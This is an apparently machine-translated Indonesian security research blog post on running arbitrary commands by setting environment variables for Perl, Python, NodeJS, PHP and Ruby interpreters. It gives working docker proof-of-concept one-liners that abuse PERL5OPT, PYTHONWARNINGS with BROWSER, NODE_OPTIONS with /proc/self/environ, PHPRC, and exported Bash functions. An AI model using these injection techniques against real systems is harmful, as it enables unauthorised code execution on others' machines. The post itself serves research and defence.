Trik Variabel Lingkungan

Variabel lingkungan yang menarik untuk dimuat ke penerjemah skrip



pengantar



Dalam proyek peretasan baru-baru ini, kami mendapat kemampuan untuk menentukan variabel lingkungan, tetapi bukan proses yang berjalan. Kami juga tidak dapat mengontrol konten file pada disk, dan brute-force dari pengidentifikasi proses (PID) dan deskriptor file tidak memberikan hasil yang menarik, tidak termasuk eksploitasi LD_PRELOAD jarak jauh . Untungnya, penerjemah bahasa skrip dijalankan, yang memungkinkan kami untuk menjalankan perintah arbitrer dengan menyetel variabel lingkungan tertentu. Blog ini membahas bagaimana perintah arbitrer dapat dijalankan oleh sejumlah penerjemah bahasa skrip di bawah variabel lingkungan berbahaya.



Perl



Pembacaan sepintas dari bagian ENVIRONMENThalaman manual perlrun(1)mengungkapkan banyak variabel lingkungan yang perlu dijelajahi. Variabel lingkungan PERL5OPTmemungkinkan Anda menyetel opsi baris perintah, tetapi dibatasi hanya untuk menerima opsi CDIMTUWdmtw. Sayangnya, ini berarti ada kekurangan -e, yang memungkinkan untuk memuat kode perl untuk dijalankan.



Namun, semuanya tidak hilang, seperti yang ditunjukkan dalam exploit untuk CVE-2016-1531 dari Hacker Fantastic . Eksploitasi modul perl menulis file berbahaya /tmp/root.pmdan menyediakan variabel lingkungan PERL5OPT=-Mroot, dan PERL5LIB=/ tmpuntuk mengeksekusi kode arbitrer. Namun, ini adalah eksploitasi untuk kerentanan eskalasi hak istimewa lokal, dan metode umum idealnya tidak memerlukan akses ke sistem file. Melihat kemengeksploitasi dengan cara blasty untuk CVE yang sama, dia tidak memerlukan pembuatan file, menggunakan variabel lingkungan PERL5OPT=-ddan PERL5DB=system("sh");exit;. Variabel yang sama digunakan untuk menyelesaikan masalah KKP tahun 2013.



Kehalusan terakhir dari metode generik adalah menggunakan satu variabel lingkungan, bukan dua. @justinsteven menemukan bahwa hal ini dimungkinkan dengan PERL5OPT=-M. Sementara modul perl untuk mendownload, Anda dapat menggunakan salah satu -matau -M, tetapi pilihan -Mmemungkinkan Anda untuk menambahkan kode tambahan setelah nama modul.



Bukti dari konsep



Contoh 0: Menjalankan kode arbitrer dengan variabel lingkungan versus perl menjalankan skrip kosong (/ dev / null)



$ docker run --env 'PERL5OPT=-Mbase;print(`id`)' perl:5.30.2 perl /dev/null
uid=0(root) gid=0(root) groups=0(root)


Python



Dilihat dari bagian ENVIRONMENT VARIABLESmana pada python(1), PYTHONSTARTUPawalnya terlihat seperti solusi sederhana. Ini memungkinkan Anda untuk menentukan jalur ke skrip Python yang akan dieksekusi sebelum prompt ditampilkan secara interaktif. Persyaratan untuk mode interaktif tampaknya tidak menjadi masalah, karena variabel lingkungan PYTHONINSPECTdapat digunakan untuk masuk ke mode interaktif, seperti -ipada baris perintah. Namun, dokumentasi untuk opsi tersebut -imenjelaskan apa yang PYTHONSTARTUPtidak akan digunakan saat python dimulai dengan skrip untuk dieksekusi. Ini berarti bahwa PYTHONSTARTUPkeduanya PYTHONINSPECTtidak dapat digabungkan, dan PYTHONSTARTUPhanya berpengaruh ketika REPL Python segera dimulai. Ini akhirnya berarti ituPYTHONSTARTUPtidak layak karena tidak berpengaruh saat skrip Python biasa dijalankan.



Variabel lingkungan PYTHONHOMEdan tampak menjanjikan PYTHONPATH. Keduanya memungkinkan eksekusi kode arbitrer, tetapi mengharuskan Anda untuk dapat membuat direktori dan file di sistem file juga. Dimungkinkan untuk melonggarkan persyaratan ini dengan menggunakan sistem file virtual / proc dan / atau file ZIP.



Sebagian besar variabel lingkungan lainnya hanya diperiksa untuk string yang tidak kosong, dan jika demikian, sertakan pengaturan yang umumnya tidak berbahaya. Salah satu pengecualian yang jarang adalah PYTHONWARNINGS.



Bekerja dengan PYTHONWARNINGS



Dokumentasi untuk PYTHONWARNINGSmengatakan bahwa ini sama dengan menentukan parameter -W. Parameter ini -Wdigunakan untuk manajemen peringatan untuk menentukan peringatan dan seberapa sering ditampilkan. Bentuk lengkap dari argumennya adalah action:message:category:module:line. Meskipun peringatan pemantauan tidak tampak seperti petunjuk yang menjanjikan, hal ini berubah dengan cepat setelah pengujian penerapan.



Contoh 1: Python-3.8.2 / Lib / warnings.py



[...]
def _getcategory(category):
    if not category:
        return Warning
    if '.' not in category:
        import builtins as m
        klass = category
    else:
        module, _, klass = category.rpartition('.')
        try:
            m = __import__(module, None, None, [klass])
        except ImportError:
            raise _OptionError("invalid module name: %r" % (module,)) from None
[...]


Kode ini menunjukkan bahwa selama kategori yang ditentukan berisi titik, kita dapat mulai mengimpor modul Python arbitrer.



Masalah berikutnya adalah sebagian besar modul dari pustaka standar Python mengeksekusi kode yang sangat sedikit saat diimpor. Mereka biasanya hanya mendefinisikan kelas yang akan digunakan nanti, dan bahkan ketika mereka menyediakan kode untuk dijalankan, kode biasanya dilindungi dengan memeriksa variabel __main__ (untuk menentukan apakah file diimpor atau dijalankan secara langsung).



Pengecualian tak terduga untuk aturan ini adalah modul antigravity . Pengembang Python pada tahun 2008 menyertakan telur paskah yang dapat dipanggil dengan menjalankanimport antigravity... Impor ini akan segera membuka komik xkcd di browser Anda dengan bercanda bahwa impor antigravitasi di Python memungkinkan untuk terbang.



Adapun bagaimana modul antigravitymembuka browser Anda, ia menggunakan modul lain dari pustaka standar yang disebut webbrowser. Modul ini memeriksa PATH Anda untuk berbagai macam browser termasuk mozaik, opera, skipstone, konqueror, chrome, chromium, firefox, links, elinks, dan lynx. Ini juga menerima variabel lingkungan yang BROWSERmenunjukkan proses mana yang akan dijalankan. Tidak ada argumen yang dapat diberikan untuk proses dalam variabel lingkungan, dan url xkcd komik adalah satu-satunya argumen kode keras untuk perintah tersebut.



Kemampuan untuk mengubahnya menjadi eksekusi kode arbitrer bergantung pada executable apa saja yang tersedia di sistem.



Menggunakan Perl untuk Menjalankan Kode Arbitrer



Salah satu pendekatannya adalah dengan menggunakan Perl, yang biasanya diinstal pada sistem dan bahkan tersedia dalam image Docker Python standar. Namun, Anda tidak dapat menggunakan biner perlitu sendiri, karena argumen pertama dan satu-satunya adalah url xkcd komik. Argumen ini akan memunculkan kesalahan dan proses akan berhenti tanpa menggunakan variabel lingkungan PERL5OPT.



Contoh 2: PERL5OPT tidak berpengaruh saat URL diteruskan ke perl



$ docker run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perl https://xkcd.com/353/
Can't open perl script "https://xkcd.com/353/": No such file or directory


Untungnya, ketika Perl tersedia, skrip Perl default seperti perldoc dan perlthanks juga sering tersedia. Skrip ini juga akan gagal dengan argumen yang tidak valid, tetapi kesalahan dalam kasus ini terjadi lebih lambat dari pemrosesan variabel lingkungan PERL5OPT. Ini berarti Anda dapat menggunakan payload variabel lingkungan Perl yang dijelaskan sebelumnya di blog ini.



Contoh 3: PERL5OPT bekerja seperti yang diharapkan dengan perldoc dan perlthanks



$ docker run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perldoc https://xkcd.com/353/
uid=0(root) gid=0(root) groups=0(root)
$ run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perlthanks https://xkcd.com/353/
uid=0(root) gid=0(root) groups=0(root)


Bukti dari konsep



Contoh 4: Menjalankan Kode Arbitrer Menggunakan Beberapa Variabel Lingkungan dengan Python 2 dan Python 3



$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:2.7.18 python /dev/null
uid=0(root) gid=0(root) groups=0(root)
Invalid -W option ignored: unknown warning category: 'antigravity.x'

$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:3.8.2 python /dev/null
uid=0(root) gid=0(root) groups=0(root)
Invalid -W option ignored: unknown warning category: 'antigravity.x'


NodeJS



Michal Bentkowski memposting muatan untuk eksploitasi Kibana (CVE-2019-7609) di blognya . Prototipe kerentanan polusi digunakan untuk mengatur variabel lingkungan yang berubah-ubah yang menghasilkan eksekusi perintah yang sewenang-wenang. Muatan dari Michal menggunakan variabel lingkungan NODE_OPTIONSdan sistem file proc secara khusus /proc/self/environ.



Meskipun teknik Michal kreatif dan berhasil dengan baik dalam kasusnya, teknik ini tidak selalu dijamin berhasil dan memiliki beberapa batasan yang sebaiknya ditangani.



Batasan pertama adalah penggunaan/proc/self/environhanya jika konten dapat dibuat valid secara sintaksis oleh JavaScript. Untuk melakukan ini, Anda harus dapat membuat variabel lingkungan dan membuatnya muncul terlebih dahulu di konten file, /proc/self/environatau mengetahui / mencontek nama variabel lingkungan yang muncul terlebih dahulu, dan menimpa nilainya.



Batasan lain adalah bahwa nilai variabel lingkungan pertama diakhiri dengan komentar satu baris (//). Oleh karena itu, setiap karakter baris baru dalam variabel lingkungan lain kemungkinan besar akan menyebabkan kesalahan sintaks dan mencegah payload dijalankan. Menggunakan komentar banyak baris (/ *) tidak akan menyelesaikan masalah, karena komentar tersebut harus ditutup agar benar secara sintaksis. Oleh karena itu, dalam kasus yang jarang terjadi ketika variabel lingkungan berisi karakter baris baru, perlu untuk mengetahui / menghapus nama variabel lingkungan dan menimpa nilainya dengan nilai baru yang tidak berisi baris baru.



Kami akan meninggalkan penghapusan batasan ini sebagai latihan untuk pembaca.



Bukti dari konsep



Contoh 5. Menjalankan kode arbitrer dengan variabel lingkungan terhadap NodeJS Michal Bentkowski



$ docker run -e 'NODE_VERSION=console.log(require("child_process").execSync("id").toString());//' -e 'NODE_OPTIONS=--require /proc/self/environ' node:14.2.0 node /dev/null
uid=0(root) gid=0(root) groups=0(root)


PHP



Jika Anda menjalankannya ltrace -e getenv php /dev/null, Anda akan menemukan bahwa PHP menggunakan variabel lingkungan PHPRC. Variabel lingkungan digunakan saat mencoba mencari dan memuat file konfigurasi php.ini. Eksploitasi neex untuk CVE-2019-11043 menggunakan sejumlah parameter PHP untuk memaksa eksekusi kode arbitrer. Di Orange Tsai juga memiliki posting yang bagus tentang membuat eksploit Anda sendiri untuk CVE, yang menggunakan daftar pengaturan yang sedikit berbeda. Dengan menggunakan pengetahuan ini, serta pengetahuan yang diperoleh dari teknik NodeJS sebelumnya, dan beberapa bantuan dari Brendan Scarwell , solusi PHP ditemukan dengan dua variabel lingkungan.



Metode ini memiliki batasan yang sama seperti contoh NodeJS.



Bukti dari konsep



Contoh 6: Menjalankan Kode Arbitrer dengan Variabel Lingkungan Terhadap PHP



$ docker run -e $'HOSTNAME=1;\nauto_prepend_file=/proc/self/environ\n;<?php die(`id`); ?>' -e 'PHPRC=/proc/self/environ' php:7.3 php /dev/null
HOSTNAME=1;
auto_prepend_file=/proc/self/environ
;uid=0(root) gid=0(root) groups=0(root)


Rubi



Belum ada solusi universal untuk Ruby yang ditemukan. Ruby tidak menerima variabel lingkungan RUBYOPTuntuk menentukan opsi baris perintah. Halaman manual mengatakan RUBYOPT hanya dapat berisi -d, -E, -I, -K, -r, -T, -U, -v, -w, -W, --debug, --disable-FEATURE --enable-FEATURE. Opsi yang paling menjanjikan adalah -rmemaksa Ruby untuk memuat perpustakaan menggunakan require. Namun, ini terbatas pada file dengan ekstensi .rbatau .so.



Contoh file yang relatif berguna yang saya temukan .rbadalah tools/server.rbdari permata json, yang tersedia setelah menginstal Ruby di sistem Fedora. Ketika file ini diperlukan, server web dijalankan seperti yang ditunjukkan di bawah ini:



Contoh 7: Menggunakan variabel lingkungan RUBYOPT untuk memulai proses ruby ​​dan memulai server web



$ docker run -it --env 'RUBYOPT=-r/usr/share/gems/gems/json-2.3.0/tools/server.rb' fedora:33 /bin/bash -c 'dnf install -y ruby 1>/dev/null; ruby /dev/null'
Surf to:
http://27dfc3850fbe:6666
[2020-06-17 05:43:47] INFO  WEBrick 1.6.0
[2020-06-17 05:43:47] INFO  ruby 2.7.1 (2020-03-31) [x86_64-linux]
[2020-06-17 05:43:47] INFO  WEBrick::HTTPServer#start: pid=28 port=6666


Pendekatan lain di Fedora adalah memanfaatkan fakta bahwa /usr/bin/rubysebenarnya ada skrip Bash yang diluncurkan /usr/bin/ruby-mri. Skrip memanggil fungsi Bash yang dapat ditimpa oleh variabel lingkungan.



Bukti dari konsep



Contoh 8: Menggunakan Fungsi Bash yang Diekspor untuk Menjalankan Perintah Sewenang-wenang



$ docker run --env 'BASH_FUNC_declare%%=() { id; exit; }' fedora:33 /bin/bash -c 'dnf install ruby -y 1>/dev/null; ruby /dev/null'
uid=0(root) gid=0(root) groups=0(root)


Kesimpulan



Posting ini membahas beberapa kasus penggunaan menarik untuk variabel lingkungan yang dapat membantu mencapai eksekusi kode arbitrer melalui berbagai penerjemah bahasa skrip tanpa menulis file ke disk. Saya harap Anda menikmati membaca dan tertarik untuk menemukan serta berbagi muatan yang ditingkatkan untuk ini dan bahasa skrip lainnya. Jika Anda menemukan teknik umum yang cocok untuk Ruby, akan sangat menarik untuk mendengarnya.



Lihat juga: " Dotfile Madness "



All Articles